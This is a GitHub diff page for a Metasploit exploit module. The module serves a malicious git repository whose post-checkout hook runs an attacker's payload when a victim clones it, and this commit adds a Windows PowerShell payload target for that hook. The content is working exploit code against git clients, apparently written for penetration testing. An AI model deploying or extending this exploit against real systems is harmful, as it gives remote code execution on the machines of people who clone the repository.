File tree Expand file tree Collapse file tree 1 file changed +16
-1
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +16
-1
lines changed Original file line number Diff line number Diff line change @@ -9,6 +9,7 @@ class Metasploit4 < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpServer
12
+ include Msf ::Exploit ::Powershell
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info (
@@ -72,6 +73,13 @@ def initialize(info = {})
72
73
'Platform' => [ 'unix' ] ,
73
74
'Arch' => ARCH_CMD
74
75
}
76
+ ] ,
77
+ [
78
+ 'Windows Powershell' ,
79
+ {
80
+ 'Platform' => [ 'windows' ] ,
81
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 ]
82
+ }
75
83
]
76
84
] ,
77
85
'DefaultTarget' => 0 ) )
@@ -120,7 +128,14 @@ def setup_git
120
128
# .git/hooks/post-checkout and will subsequently execute commands of our
121
129
# choosing upon cloning
122
130
# build the hook file blob
123
- full_cmd = "#!/bin/sh\n #{ payload . encoded } \n "
131
+ puts target . inspect
132
+ case target . name
133
+ when 'Automatic'
134
+ full_cmd = "#!/bin/sh\n #{ payload . encoded } \n "
135
+ when 'Windows Powershell'
136
+ full_cmd = "#!/bin/sh\n #{ cmd_psh_payload ( payload . encoded , payload_instance . arch . first ) } "
137
+ end
138
+
124
139
sha1 , content = build_object ( 'blob' , full_cmd )
125
140
trigger = "/objects/#{ get_path ( sha1 ) } "
126
141
@repo_data [ :git ] [ :trigger ] = trigger
You can’t perform that action at this time.
0 commit comments